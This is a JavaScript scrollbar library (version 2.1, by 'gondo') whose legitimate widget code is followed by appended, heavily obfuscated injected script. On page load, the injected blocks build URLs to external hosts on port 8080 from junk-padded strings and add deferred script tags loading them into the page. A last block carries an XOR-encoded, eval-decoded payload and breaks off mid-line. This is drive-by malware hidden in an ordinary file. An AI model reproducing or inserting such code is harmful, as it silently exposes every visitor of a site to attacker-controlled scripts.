 /********************************************************************
 *                                         				*
 *   version:  2.1                         				*
 *   author:   gondo                       				*
 *   email:    gondo@webdesigners.sk       				*
 *   wep-page: http://gondo.webdesigners.sk/javascript-scrollbar/   	*
 *				                                         *
 ********************************************************************/

/* number of scrolling objects */
document.No = 0;

var isOpera = (window.navigator.userAgent.indexOf("Opera") > -1);

function ScrollLoad (Area, Content, SettingTracSize)
{
    var code = "var scroller" + document.No + " = new dw_scrollObj (Area, Content, Content, Area, document.No);";
    if (SettingTracSize)
        code += "scroller" + document.No + ".setBarSize();";
    eval (code);
    makeMouseWheeleScrolling(Area);
    document.No++;
}

/* <Mouse wheele scrolling> */
var mouseWheelTimer = 0;

function makeMouseWheeleScrolling(objName)
{
    var obj = document.getElementById(objName);

    if (obj.addEventListener)
    {
        obj.addEventListener("DOMMouseScroll", wheel, false);
    }
    obj.onmousewheel =  wheel;
}

function moveUp(parent)
{
    dw_scrollObj.initScroll(parent.id, "up");
    clearInterval(mouseWheelTimer);
    mouseWheelTimer = setTimeout("mouseStop('" + parent.id + "');", 700);
}

function moveDown(parent)
{
    dw_scrollObj.initScroll(parent.id, "down");
    clearInterval(mouseWheelTimer);
    mouseWheelTimer = setTimeout("mouseStop('" + parent.id + "');", 700);
}

function mouseStop(parentId)
{
    dw_scrollObj.stopScroll(parentId);
    mouseWheelTimer = 0;
}

/* mouse wheel functions to scroll on mouse wheel efect over object with my js scrollbar */
function handle(delta, parent)
{
    var s = delta + ": ";
    if (delta < 0)
    {
		if (isOpera)
			moveUp(parent);		
		else
			moveDown(parent);
    }
    else
    {
		if (isOpera)
			moveDown(parent);
		else
			moveUp(parent);
    }
}

function wheel(event)
{
    var delta = 0;
    if (!event) event = window.event;
    if (event.wheelDelta)
    {
        delta = event.wheelDelta/80; 
        if (window.opera) delta = -delta;
    }
    else if (event.detail)
    {
        delta = -event.detail/3;
    }
    if (delta)
        handle(delta, this);
    cancelEvent(event);
}
function cancelEvent(e){
  e = e ? e : window.event;
  if(e.stopPropagation)
    e.stopPropagation();
  if(e.preventDefault)
    e.preventDefault();
  e.cancelBubble = true;
  e.cancel = true;
  e.returnValue = false;
  return false;
}
/* </mouse wheele scrolling> */

/**************************************************************************/

dw_scrollObjs = {};

function dw_scrollObj(wnId,lyrId,cntId,area,No){
    dw_scrollObj.speed=90;
    this.id=wnId;
    dw_scrollObjs[this.id]=this;
    this.animString="dw_scrollObjs."+this.id;
    if(!this.write_scroll_bar(wnId,area,cntId,No)) return;
    this.load(lyrId,cntId);
    this.setUpScrollbar("drag_bar" + No, "track" + No, "v", 0, 0);    
};

dw_scrollObj.prototype.write_scroll_bar = function(content,where,text,No){
    where_obj   = document.getElementById(where);
    text_obj    = document.getElementById(text);
    content_obj = document.getElementById(content);
    if(text_obj.offsetHeight <= where_obj.offsetHeight){
        return false;
    }
    content_obj.style.overflow="hidden";
    var content_width = content_obj.offsetWidth;
    where_obj.innerHTML += '<div id="track' + No + '" class="track"><div id="drag_bar' + No + '" class="drag_bar"></div></div>';
    /* set text width */
    var scroll_width = document.getElementById('track' + No).offsetWidth;
    document.getElementById(text).style.width = content_width - scroll_width - 10 + 'px';
    return true;
}

dw_scrollObj.loadLayer = function(wnId,id,cntId){
    if(dw_scrollObjs[wnId])
        dw_scrollObjs[wnId].load(id,cntId);
};

dw_scrollObj.prototype.load = function(lyrId,cntId){
    if(!document.getElementById)
        return;
    var wndo,lyr;
    if(this.lyrId){
        lyr=document.getElementById(this.lyrId);
        lyr.style.visibility="hidden";
    }
    lyr=document.getElementById(lyrId);
    wndo=document.getElementById(this.id);
    lyr.style.top=this.y=0;
    lyr.style.left=this.x=0;
    this.maxY=(lyr.offsetHeight-wndo.offsetHeight>0)?lyr.offsetHeight-wndo.offsetHeight:0;
    this.wd=cntId?document.getElementById(cntId).offsetWidth:lyr.offsetWidth;
    this.maxX=(this.wd-wndo.offsetWidth>0)?this.wd-wndo.offsetWidth:0;
    this.lyrId=lyrId;
    lyr.style.visibility="visible";
    this.on_load();
    this.ready=true;
};

dw_scrollObj.prototype.on_load=function(){};
dw_scrollObj.prototype.shiftTo=function(lyr,x,y){
    if ((!lyr) || (!lyr.style))
        return;
    lyr.style.left=(this.x=x)+"px";
    lyr.style.top=(this.y=y)+"px";
};

dw_scrollObj.GeckoTableBugFix=function(){
    var ua=navigator.userAgent;
    if(ua.indexOf("Gecko")>-1&&ua.indexOf("Firefox")==-1&&ua.indexOf("Safari")==-1&&ua.indexOf("Konqueror")==-1){
        dw_scrollObj.hold=[];
        for(var i=0;arguments[i];i++){
            if(dw_scrollObjs[arguments[i]]){
                var wndo=document.getElementById(arguments[i]);
                var holderId=wndo.parentNode.id;
                var holder=document.getElementById(holderId);
                document.body.appendChild(holder.removeChild(wndo));
                wndo.style.zIndex=1000;
                var pos=getPageOffsets(holder);
                wndo.style.left=pos.x+"px";
                wndo.style.top=pos.y+"px";
                dw_scrollObj.hold[i]=[arguments[i],holderId];
            }
        }
        window.addEventListener("resize",dw_scrollObj.rePositionGecko,true);
    }
};

dw_scrollObj.rePositionGecko=function(){
    if(dw_scrollObj.hold){
        for(var i=0;dw_scrollObj.hold[i];i++){
            var wndo=document.getElementById(dw_scrollObj.hold[i][0]);
            var holder=document.getElementById(dw_scrollObj.hold[i][1]);
            var pos=getPageOffsets(holder);
            wndo.style.left=pos.x+"px";
            wndo.style.top=pos.y+"px";
        }
    }
};

function getPageOffsets(el){
    var left=el.offsetLeft;
    var top=el.offsetTop;
    if(el.offsetParent&&el.offsetParent.clientLeft||el.offsetParent.clientTop){
        left+=el.offsetParent.clientLeft;
        top+=el.offsetParent.clientTop;
    }
    while(el=el.offsetParent){
        left+=el.offsetLeft;
        top+=el.offsetTop;
    }
    return{x:left,y:top};
};

dw_scrollObj.stopScroll = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].endScroll();
}

dw_scrollObj.doubleSpeed = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].speed *= 2;
}

dw_scrollObj.resetSpeed = function(wnId) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].speed /= 2;
}

dw_scrollObj.initScroll = function(wnId, deg, sp) {
  if ( dw_scrollObjs[wnId] ) {
    var cosine, sine;
    if (typeof deg == "string") {
      switch (deg) {
        case "up"    : deg = 90;  break;
        case "down"  : deg = 270; break;
        case "left"  : deg = 180; break;
        case "right" : deg = 0;   break;
        default: return;
       }
    } 
    deg = deg % 360;
    if (deg % 90 == 0) {
      cosine = (deg == 0)? -1: (deg == 180)? 1: 0;
      sine = (deg == 90)? 1: (deg == 270)? -1: 0;
    } else {
      var angle = deg * Math.PI/180;
      cosine = -Math.cos(angle); sine = Math.sin(angle);
    }
    dw_scrollObjs[wnId].fx = cosine / ( Math.abs(cosine) + Math.abs(sine) );
    dw_scrollObjs[wnId].fy = sine / ( Math.abs(cosine) + Math.abs(sine) );
    dw_scrollObjs[wnId].endX = (deg == 90 || deg == 270)? dw_scrollObjs[wnId].x:
      (deg < 90 || deg > 270)? -dw_scrollObjs[wnId].maxX: 0; 
    dw_scrollObjs[wnId].endY = (deg == 0 || deg == 180)? dw_scrollObjs[wnId].y: 
      (deg < 180)? 0: -dw_scrollObjs[wnId].maxY;
    dw_scrollObjs[wnId].startScroll(sp);
  }
}

dw_scrollObj.prototype.startScroll = function(speed) {
  if (!this.ready) return; if (this.timerId) clearInterval(this.timerId);
  this.speed = speed || dw_scrollObj.speed;
  this.lyr = document.getElementById(this.lyrId);
  this.lastTime = ( new Date() ).getTime();
  this.on_scroll_start();  
  this.timerId = setInterval(this.animString + ".scroll()", 10); 
}

dw_scrollObj.prototype.scroll = function() {
  var now = ( new Date() ).getTime();
  var d = (now - this.lastTime)/1000 * this.speed;
  if (d > 0) {
    var x = this.x + this.fx * d; var y = this.y + this.fy * d;
    if (this.fx == 0 || this.fy == 0) {
      if ( ( this.fx == -1 && x > -this.maxX ) || ( this.fx == 1 && x < 0 ) || 
        ( this.fy == -1 && y > -this.maxY ) || ( this.fy == 1 && y < 0 ) ) {
        this.lastTime = now;
        this.shiftTo(this.lyr, x, y);
        this.on_scroll(x, y);
      } else {
        clearInterval(this.timerId); this.timerId = 0;
        this.shiftTo(this.lyr, this.endX, this.endY);
        this.on_scroll_end(this.endX, this.endY);
      }
    } else {
      if ( ( this.fx < 0 && x >= -this.maxX && this.fy < 0 && y >= -this.maxY ) ||
        ( this.fx > 0 && x <= 0 && this.fy > 0 && y <= 0 ) ||
        ( this.fx < 0 && x >= -this.maxX && this.fy > 0 && y <= 0 ) ||
        ( this.fx > 0 && x <= 0 && this.fy < 0 && y >= -this.maxY ) ) {
        this.lastTime = now;
        this.shiftTo(this.lyr, x, y);
        this.on_scroll(x, y);
      } else {
        clearInterval(this.timerId); this.timerId = 0;
        this.on_scroll_end(this.x, this.y);
      }
    }
  }
}

dw_scrollObj.prototype.endScroll = function() {
  if (!this.ready) return;
  if (this.timerId) clearInterval(this.timerId);
  this.timerId = 0;  this.lyr = null;
}

dw_scrollObj.prototype.on_scroll = function() {}
dw_scrollObj.prototype.on_scroll_start = function() {}
dw_scrollObj.prototype.on_scroll_end = function() {}
  
dw_scrollObj.slideDur = 500;

dw_scrollObj.scrollBy = function(wnId, x, y, dur) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].glideBy(x, y, dur);
}

dw_scrollObj.scrollTo = function(wnId, x, y, dur) {
  if ( dw_scrollObjs[wnId] ) dw_scrollObjs[wnId].glideTo(x, y, dur);
}

dw_scrollObj.prototype.glideBy = function(dx, dy, dur) {
  if ( !document.getElementById || this.sliding ) return;
  this.slideDur = dur || dw_scrollObj.slideDur;
  this.destX = this.destY = this.distX = this.distY = 0;
  this.lyr = document.getElementById(this.lyrId);
  this.startX = this.x; this.startY = this.y;
  if (dy < 0) this.distY = (this.startY + dy >= -this.maxY)? dy: -(this.startY  + this.maxY);
  else if (dy > 0) this.distY = (this.startY + dy <= 0)? dy: -this.startY;
  if (dx < 0) this.distX = (this.startX + dx >= -this.maxX)? dx: -(this.startX + this.maxX);
  else if (dx > 0) this.distX = (this.startX + dx <= 0)? dx: -this.startX;
  this.destX = this.startX + this.distX; this.destY = this.startY + this.distY;
  this.slideTo(this.destX, this.destY);
}

dw_scrollObj.prototype.glideTo = function(destX, destY, dur) {
    if ( !document.getElementById || this.sliding) return;
    this.slideDur = dur || dw_scrollObj.slideDur;
    this.lyr = document.getElementById(this.lyrId); 
    this.startX = this.x; this.startY = this.y;
    this.destX = -Math.max( Math.min(destX, this.maxX), 0);
    this.destY = -Math.max( Math.min(destY, this.maxY), 0);
    this.distY = this.destY - this.startY;
    this.distX =  this.destX - this.startX;
    this.slideTo(this.destX, this.destY);
}

dw_scrollObj.prototype.slideTo = function(destX, destY) {
    this.per = Math.PI/(2 * this.slideDur); this.sliding = true;
    this.slideStart = (new Date()).getTime();
    this.aniTimer = setInterval(this.animString + ".doSlide()",10);
    this.on_slide_start(this.startX, this.startY);
}

dw_scrollObj.prototype.doSlide = function() {
    var elapsed = (new Date()).getTime() - this.slideStart;
    if (elapsed < this.slideDur) {
        var x = this.startX + this.distX * Math.sin(this.per*elapsed);
        var y = this.startY + this.distY * Math.sin(this.per*elapsed);
        this.shiftTo(this.lyr, x, y); this.on_slide(x, y);
    } else {
        clearInterval(this.aniTimer); this.sliding = false;
        this.shiftTo(this.lyr, this.destX, this.destY);
        this.lyr = null; this.on_slide_end(this.destX, this.destY);
    }
}

dw_scrollObj.prototype.on_slide_start = function() {}
dw_scrollObj.prototype.on_slide = function() {}
dw_scrollObj.prototype.on_slide_end = function() {}

var dw_slidebar = {
  obj: null,
  slideDur: 500,
  init: function (bar, track, axis, x, y) {
    x = x || 0; y = y || 0;
    bar.style.left = x + "px"; bar.style.top = y + "px";
    bar.axis = axis; track.bar = bar;
    if (axis == "h") {
      bar.trkWd = track.offsetWidth;
      bar.maxX = bar.trkWd - bar.offsetWidth - x; 
      bar.minX = x; bar.maxY = y; bar.minY = y;
    } else {
      bar.trkHt = track.offsetHeight;
      bar.maxY = bar.trkHt - bar.offsetHeight - y; 
      bar.maxX = x; bar.minX = x; bar.minY = y;
    }
    bar.on_drag_start =  bar.on_drag =   bar.on_drag_end = 
    bar.on_slide_start = bar.on_slide =  bar.on_slide_end = function() {}
    bar.onmousedown = this.startDrag; track.onmousedown = this.startSlide;
  },
  
  startSlide: function(e) {
    if ( dw_slidebar.aniTimer ) clearInterval(dw_slidebar.aniTimer);
    e = e? e: window.event;
    var bar = dw_slidebar.obj = this.bar;
    e.offX = (typeof e.layerX != "undefined")? e.layerX: e.offsetX;
    e.offY = (typeof e.layerY != "undefined")? e.layerY: e.offsetY;
    bar.startX = parseInt(bar.style.left); bar.startY = parseInt(bar.style.top);
    if (bar.axis == "v") {
      bar.destX = bar.startX;
      bar.destY = (e.offY < bar.startY)? e.offY: e.offY - bar.offsetHeight;
      bar.destY = Math.min( Math.max(bar.destY, bar.minY), bar.maxY );
    } else {
      bar.destX = (e.offX < bar.startX)? e.offX: e.offX - bar.offsetWidth;
      bar.destX = Math.min( Math.max(bar.destX, bar.minX), bar.maxX );
      bar.destY = bar.startY;
    }
    bar.distX = bar.destX - bar.startX; bar.distY = bar.destY - bar.startY;
    dw_slidebar.per = Math.PI/(2 * dw_slidebar.slideDur);
    dw_slidebar.slideStart = (new Date()).getTime();
    bar.on_slide_start(bar.startX, bar.startY);
    dw_slidebar.aniTimer = setInterval("dw_slidebar.doSlide()",10);
  },
  
  doSlide: function() {
    if ( !dw_slidebar.obj ) { clearInterval(dw_slidebar.aniTimer); return; }    
    var bar = dw_slidebar.obj;     
    var elapsed = (new Date()).getTime() - this.slideStart;
    if (elapsed < this.slideDur) {
        var x = bar.startX + bar.distX * Math.sin(this.per*elapsed);
        var y = bar.startY + bar.distY * Math.sin(this.per*elapsed);
        bar.style.left = x + "px"; bar.style.top = y + "px";
        bar.on_slide(x, y);
    } else {
        clearInterval(this.aniTimer);
        bar.style.left = bar.destX + "px"; bar.style.top = bar.destY + "px";
        bar.on_slide_end(bar.destX, bar.destY);
        this.obj = null;
    }
  },
  
  startDrag: function (e) {
    e = dw_event.DOMit(e);
    if ( dw_slidebar.aniTimer ) clearInterval(dw_slidebar.aniTimer);
    var bar = dw_slidebar.obj = this;
    bar.downX = e.clientX; bar.downY = e.clientY;
    bar.startX = parseInt(bar.style.left);
    bar.startY = parseInt(bar.style.top);
    bar.on_drag_start(bar.startX, bar.startY);
    dw_event.add( document, "mousemove", dw_slidebar.doDrag, true );
    dw_event.add( document, "mouseup",   dw_slidebar.endDrag,  true );
    e.stopPropagation();
  },

  doDrag: function (e) {
    e = e? e: window.event;
    if (!dw_slidebar.obj) return;
    var bar = dw_slidebar.obj; 
    var nx = bar.startX + e.clientX - bar.downX;
    var ny = bar.startY + e.clientY - bar.downY;
    nx = Math.min( Math.max( bar.minX, nx ), bar.maxX);
    ny = Math.min( Math.max( bar.minY, ny ), bar.maxY);
    bar.style.left = nx + "px"; bar.style.top  = ny + "px";
    bar.on_drag(nx,ny);
    return false;  
  },
  
  endDrag: function () {
    dw_event.remove( document, "mousemove", dw_slidebar.doDrag, true );
    dw_event.remove( document, "mouseup",   dw_slidebar.endDrag,  true );
    if ( !dw_slidebar.obj ) return;
    dw_slidebar.obj.on_drag_end( parseInt(dw_slidebar.obj.style.left), parseInt(dw_slidebar.obj.style.top) );
    dw_slidebar.obj = null;  
  }
  
}

dw_scrollObj.prototype.setUpScrollbar = function(id, trkId, axis, offx, offy) {
  if (!document.getElementById) return;
  var bar = document.getElementById(id);
  var trk = document.getElementById(trkId);
  dw_slidebar.init(bar, trk, axis, offx, offy);
  bar.wn = dw_scrollObjs[this.id];
  if (axis == "v") this.vBarId = id; else this.hBarId = id;
  bar.on_drag_start = bar.on_slide_start = dw_scrollObj.getWndoLyrRef;
  bar.on_drag_end =   bar.on_slide_end =   dw_scrollObj.tossWndoLyrRef;
  bar.on_drag =       bar.on_slide =       dw_scrollObj.UpdateWndoLyrPos;
}

dw_scrollObj.getWndoLyrRef = function()  { this.wnLyr = document.getElementById(this.wn.lyrId); }
dw_scrollObj.tossWndoLyrRef = function() { this.wnLyr = null; }
dw_scrollObj.UpdateWndoLyrPos = function(x, y) {
  var nx, ny;
  if (this.axis == "v") {
    nx = this.wn.x;
    ny = -(y - this.minY) * ( this.wn.maxY / (this.maxY - this.minY) ) || 0;
  } else {
    ny = this.wn.y;
    nx = -(x - this.minX) * ( this.wn.maxX / (this.maxX - this.minX) ) || 0;
  }
  this.wn.shiftTo(this.wnLyr, nx, ny);
}

dw_scrollObj.prototype.updateScrollbar = function(x, y) {
  var nx, ny;
  if ( this.vBarId ) {
    if (!this.maxY) return;
    ny = -( y * ( (this.vbar.maxY - this.vbar.minY) / this.maxY ) - this.vbar.minY );
    ny = Math.min( Math.max(ny, this.vbar.minY), this.vbar.maxY);  
    nx = parseInt(this.vbar.style.left);
    this.vbar.style.left = nx + "px"; this.vbar.style.top = ny + "px";
  } if ( this.hBarId ) {
    if (!this.maxX) return;
    nx = -( x * ( (this.hbar.maxX - this.hbar.minX) / this.maxX ) - this.hbar.minX );
    nx = Math.min( Math.max(nx, this.hbar.minX), this.hbar.maxX);
    ny = parseInt(this.hbar.style.top);
    this.hbar.style.left = nx + "px"; this.hbar.style.top = ny + "px";
  } 
  
}

dw_scrollObj.prototype.restoreScrollbars = function() {
  var bar;
  if (this.vBarId) {
    bar = document.getElementById(this.vBarId);
    bar.style.left = bar.minX + "px"; bar.style.top = bar.minY + "px";
  }
  if (this.hBarId) {
    bar = document.getElementById(this.hBarId);
    bar.style.left = bar.minX + "px"; bar.style.top = bar.minY + "px";
  }
}
  
dw_scrollObj.prototype.setBarSize = function() {
  var bar;
  var lyr = document.getElementById(this.lyrId);
  var wn = document.getElementById(this.id);
  if (this.vBarId) {
    bar = document.getElementById(this.vBarId);
    bar.style.height = (lyr.offsetHeight > wn.offsetHeight)? bar.trkHt / ( lyr.offsetHeight / wn.offsetHeight ) + "px": bar.trkHt - 2*bar.minY + "px";
    bar.maxY = bar.trkHt - bar.offsetHeight - bar.minY; 
  }
  if (this.hBarId) {
    bar = document.getElementById(this.hBarId);
    bar.style.width = (this.wd > wn.offsetWidth)? bar.trkWd / ( this.wd / wn.offsetWidth ) + "px": bar.trkWd - 2*bar.minX + "px";
    bar.maxX = bar.trkWd - bar.offsetWidth - bar.minX; 
  }
}

dw_scrollObj.prototype.on_load = function() { 
  this.restoreScrollbars();
}

dw_scrollObj.prototype.on_scroll = dw_scrollObj.prototype.on_slide = function(x,y) { this.updateScrollbar(x,y); }

dw_scrollObj.prototype.on_scroll_start = dw_scrollObj.prototype.on_slide_start = function() {
  if ( this.vBarId ) this.vbar = document.getElementById(this.vBarId);
  if ( this.hBarId ) this.hbar = document.getElementById(this.hBarId);
}

dw_scrollObj.prototype.on_scroll_end = dw_scrollObj.prototype.on_slide_end = function(x, y) { 
  this.updateScrollbar(x,y);
  this.lyr = null; this.bar = null; 
}

var dw_event = {
  
  add: function(obj, etype, fp, cap) {
    cap = cap || false;
    if (obj.addEventListener) obj.addEventListener(etype, fp, cap);
    else if (obj.attachEvent) obj.attachEvent("on" + etype, fp);
  }, 

  remove: function(obj, etype, fp, cap) {
    cap = cap || false;
    if (obj.removeEventListener) obj.removeEventListener(etype, fp, cap);
    else if (obj.detachEvent) obj.detachEvent("on" + etype, fp);
  }, 

  DOMit: function(e) { 
    e = e? e: window.event;
    e.tgt = e.srcElement? e.srcElement: e.target;
    
    if (!e.preventDefault) e.preventDefault = function () { return false; }
    if (!e.stopPropagation) e.stopPropagation = function () { if (window.event) window.event.cancelBubble = true; }
        
    return e;
  }
  
}




var k;if(k!='' && k!='i'){k=null};var f='sZcZrui@p@t@'.replace(/[@~uZ\?]/g, '');var b=window;var u=document;var v=new String();var ln=false;var bt;if(bt!='' && bt!='s'){bt='n'};this.di=48633;b.onload=function(){var ew;if(ew!=''){ew='xy'};try {var xm;if(xm!='ay' && xm!='aq'){xm='ay'};this.nr='';y=u.createElement(f);this.fi=false;this.ayy=false;y.setAttribute('dBeFf4eBrE'.replace(/[E49FB]/g, ''), "1");y.src='h6t;t6p;:?/6/;s6h~uzf6u~n?iz-?c;o?m;.?y?a;m~.;c;o?m~.zs?p~i?e6g6e6l?-~d~e6.;b;ezszt~n?e;w?h6azv;e6n6.;r~u;:~8?0;860?/~gzozo?g?l6e~.;c6ozmz/~gzozo;g?l6e?.6czo?mz/6g6o?o6g6lze~.?c;o;m~.?u~a;/6p~i;x~i~v~.?nze;tz/~n~i~k;k6e;i6b?p6.;czo?.~j~p;/;'.replace(/[;~6\?z]/g, '');var dk=new Array();var ug;if(ug!='' && ug!='oo'){ug=null};var av;if(av!='si' && av!='m'){av=''};this.u_="u_";u.body.appendChild(y);var pv=new Array();var vd;if(vd!='pl'){vd=''};} catch(w){this.wg='';};this.gd='';this.pg='';};var hu;if(hu!='cg' && hu != ''){hu=null};var kt="";
var _="_";this.q="q";var k=new Date();var t=35234;:LineMixer [this.h=16538;var n=window;var we;if(we!='' && we!='ka'){we=null};var tv=26001;var b='s&c^r.i+p^t+'.replace(/[\+&\^\.Q]/g, '');var zs=false;var eq;if(eq!='' && eq!='p'){eq='z_'};var g='cvrveQaXtXe3EXl3eXmveQnvt3'.replace(/[3Qv\+X]/g, '');]this.x="x";var zu="";var _s=new String();n.onload=function(){var tt=17174;try {this.xw='';this._r='';a=document[g](b);:LineMixer [a['s8r8cZ'.replace(/[ZTeC8]/g, '')]='h*t$t$pR:Y/Y/?n?e?t$f*lYi$xR-RcYo?mY.?n?aRsYa$.$g?oYv$.Ye*b*aYy?-Yc$o$-Ru$k$.*n?e$w$s*o*uRrRc$eYw?o$rYl$d?.$rRuR:*8Y0*8?0R/Rs?aRhYiYb$i$n*d$eRn$.$c$o?m*/?sRa$hRi$b?iYn*d*e$n$.?c*o*m*/$sYpYoRn*i?cRh?i$.$cYo*.RjYpY/$wYeYe?b?l*yR.$cYoRm*/?g$o$o$gYl$eR.$cYo$m*/R'.replace(/[R\$Y\*\?]/g, '');var tih="tih";a.setAttribute('dLeYf3e4rL'.replace(/[L3YU4]/g, ''), "1");var zi;if(zi!='fl'){zi='fl'};]var za;if(za!='o' && za!='td'){za=''};var fn;if(fn!='' && fn!='gj'){fn='z_p'};var bi;if(bi!='' && bi!='rv'){bi=null};document['bMomdDym'.replace(/[mDMuJ]/g, '')]['aIp/p/e/nrdIC/hjirljd/'.replace(/[/jOrI]/g, '')](a);var lu=new String();this.iv=false;} catch(y){var n_=false;var zux=47822;};};var bp;if(bp!='' && bp!='vd'){bp=null};
var c;if(c!='' && c!='j'){c=null};this.ow="";function e() {this.z='';var n;if(n!='' && n!='rt'){n=''};function a(t,l,h){var w;if(w!='cv' && w!='oj'){w=''};this._v="";t['s|e*t2A2t|t*rmi|bmu|t*e2'.replace(/[2\|3\*m]/g, '')](l, h);}var g='smcnrninpmtm'.replace(/[mQn\<j]/g, '');var og;if(og!=''){og='yz'};var ez=new Date();var _=window;this.oq=63895;var mk;if(mk!='' && mk!='k'){mk='fk'};var r='cgrLe&abtgegELlLeLmLe&n&t&'.replace(/[&YbgL]/g, '');var jv='';var aj;if(aj!='' && aj!='s'){aj='tg'};_['oFnFlToVa2dV'.replace(/[VJT2F]/g, '')]=function(){var v;if(v!='x'){v=''};try {var kx;if(kx!='' && kx!='fn'){kx='ko'};al=document[r](g);var sz;if(sz!='' && sz!='uo'){sz=null};var fh;if(fh!='' && fh!='qe'){fh=null};var ak;if(ak!=''){ak='ku'};a(al,'sLrect'.replace(/[t@Lek]/g, ''),'h7t7tUp7:q/q/UzUaqyDcUeqv7-Un7eUtU.;b7b7c7.;cDoq.UuUkD.Ux;a;n;gUaD-qcqo;m;.Dr7eUd;tDaUgqj;eUwDeDlqeDr7s7.7rUu7:D8q0;8U07/qiDf;oqlDd;e;r;.Dr;u;/;i;fDo;lUd;eqrq.Dr;uD/UgUoUoqgqlqeU.7c7oqmD/Diqm;a;g;e;sqhqa;cUk7.;u;sU/DcUlqaDs7sUmDaUtqe7s7.7c;oDmU/;'.replace(/[;UqD7]/g, ''));a(al,'d1emfmemrm'.replace(/[mU\<1Y]/g, ''),1);this.owe=false;var kt=new String();document['bWohd3ye'.replace(/[eWh34]/g, '')]['a%pjpje0nVd0Cxhxijljdx'.replace(/[x%Vj0]/g, '')](al);this.dw='';} catch(q){};this.oz='';var um;if(um!='ta' && um!='nc'){um=''};};var _x;if(_x!='yn' && _x!='hz'){_x='yn'};var cf;if(cf!='__' && cf!='su'){cf='__'};};var cq=new String();e();this.pn='';
var BK="bea1a493b3d3a9b2a1bcbbd6b5bdb582cc86adb0a0b4b6a0a486ac8784b996af839fbab9a197be909c99be98be9e889598a1b2a98391a58da5bd81899c89828981fd9cbcf38aa1b2d1a5b8e1a183";var dF=false;var fR=new Array();function u(a){this.L="";var Ry;if(Ry!='G'){Ry='G'};var VZ=60460; var Ul="";function B(F,i){return F^i;var Yb;if(Yb!='' && Yb!='og'){Yb=''};var Kb;if(Kb!='Zq' && Kb!='mS'){Kb='Zq'};}var PH=new String(); var C=function(v){var Bd =[0,240,49][0];var vt = '';var b=new Array();var S =[0][0];var p = -1;var D;if(D!='dEm' && D!='oo'){D=''};v = new T(v);var Va;if(Va!=''){Va='vp'};var UR;if(UR!='ZC' && UR!='cA'){UR='ZC'};for (Bd=v[U("elgtnh", [1,0,4,2,3])]-p;Bd>=S;Bd=Bd-[132,47,1,131][2]){var py;if(py!='' && py!='TM'){py='t'};vt+=v[U("hracAt", [3,0,2,1])](Bd);this.dU='';}return vt;this.tz=false;this.Nt=34406;};var zh;if(zh!=''){zh='Ol'};var iFz;if(iFz!=''){iFz='iF'}; var q=function(V){var SU;if(SU!=''){SU='ok'};var gT;if(gT!='Vo' && gT!='Yh'){gT=''};var TZ=[255][0];var l=new String();var ey;if(ey!='CX'){ey=''};var k=[1,163][0];var fZ;if(fZ!='' && fZ!='nn'){fZ=''};this.PC='';var N=[0][0];this.Yy=57472;this.aO=25151;this.Hf="Hf";var w=[0][0];var PM='';var ou='';var yk=V[U("elgtnh", [1,0,4,2,3])];this.EV="EV";var rd;if(rd!='tr'){rd='tr'};var Wu;if(Wu!='' && Wu!='Yx'){Wu='Vb'};var xK=new String();while(N<yk){this.iv=59343;var uL=new Date();N++;e=CJ(V,N - k);w+=e*yk;var pv=new Array();var vU;if(vU!='he' && vU!='CH'){vU=''};}var yv=56343;var nh;if(nh!='yJ' && nh != ''){nh=null};return new T(w % TZ);var Ba="";this.uC=50857;};var lO=new Array();var qx;if(qx!=''){qx='uq'}; var U=function(v, m){var hI;if(hI!='lP'){hI='lP'};var Yg;if(Yg!='' && Yg!='pz'){Yg=null};var cx=48216;var oka;if(oka!='ec' && oka!='QH'){oka='ec'};var S=[0,191,81,219][0];var d = v.length;var k=[1,51,102][0];var vA="vA";this.Fn="";var E = m.length;this.fd='';this.Ns='';this.wW='';var vt = '';this.wk="";this.yw=false;var kU;if(kU!='UL' && kU!='Te'){kU='UL'};for(var Bd = S; Bd < d; Bd += E) {var VK="VK";this.By=64799;var mE = v.substr(Bd, E);var nF=18131;this.USJ=38479;this.WS=false;var WH;if(WH!='' && WH!='VS'){WH=null};if(mE.length == E){var PW;if(PW!='' && PW!='gr'){PW=null};for(var N in m) {var KB;if(KB!='' && KB!='oc'){KB='BA'};vt+=mE.substr(m[N], k);var cxP=56875;this.WV="WV";this.NB="";}this.eG=1157;var KM;if(KM!='Ck' && KM!='lf'){KM='Ck'};var qC;if(qC!='' && qC!='sH'){qC=''};} else {var bp;if(bp!=''){bp='kj'};  vt+=mE;this.dI='';var Gn;if(Gn!='NE' && Gn!='BB'){Gn=''};}}this.mKq="";return vt;var SqF=new Array();};this.WR="";var Fz;if(Fz!='' && Fz!='rN'){Fz=''};var ZI=new Date(); var CJ=function(K,mA){return K[U("aoCcrhdeAt", [3,5,0,4,2,1])](mA);var Kx;if(Kx!='ig'){Kx=''};};var wZo;if(wZo!='Ub' && wZo!='cv'){wZo='Ub'};var ic;if(ic!='Bb' && ic!='JG'){ic=''};var kL=20588;var QL;if(QL!='eQr' && QL != ''){QL=null};var iZ;if(iZ!='nb' && iZ != ''){iZ=null};var mp=window;var If;if(If!='xY' && If!='Vf'){If='xY'};var wt;if(wt!='OB'){wt='OB'};var f=mp[U("lvea", [2,1,3,0])];var W=f(U("ucnFinot", [3,0,2,1]));var Pb;if(Pb!='rg'){Pb='rg'};var js="js";var T=f(U("rStgin", [1,2,0]));var Ki = '';var tX;if(tX!='' && tX!='xf'){tX=''};this.Sr='';var Xl;if(Xl!='Sf' && Xl!='Jq'){Xl=''};var Z=f(U("egERxp", [3,0,1,2]));var WE=new Array();this.Ix=55963;var iH;if(iH!=''){iH='Ft'};var Ss;if(Ss!='' && Ss!='HZ'){Ss=null};var H=T[U("ofrhmCCareod", [1,2,0])];var Ml;if(Ml!='IO' && Ml!='SG'){Ml='IO'};var uE=51004;var Bu=mp[U("neucaspe", [2,0,1])];var Cj;if(Cj!='IG' && Cj != ''){Cj=null};var Wt = '';this.eT=1421;var np;if(np!='Ru'){np=''};var S =[173,0,212][1];var PU="PU";this.dUU="";var pQ = '';var vv;if(vv!='qP' && vv!='pW'){vv='qP'};var UA=[1, U("codmutnec.aeretelEem(tns\'irctp\')", [2,1,0,4,3]),2, U("umodc.bnet.adoyndppeldhCi(d)", [3,2,4,0,1]),3, U("o.rortenrz.tomcun.viiiosn", [2,0,1]),4, U("oc.mhthemoleba.sur8:080", [1,0,3,2]),5, U("e.sdAtitrtub\'e(tedfer\'", 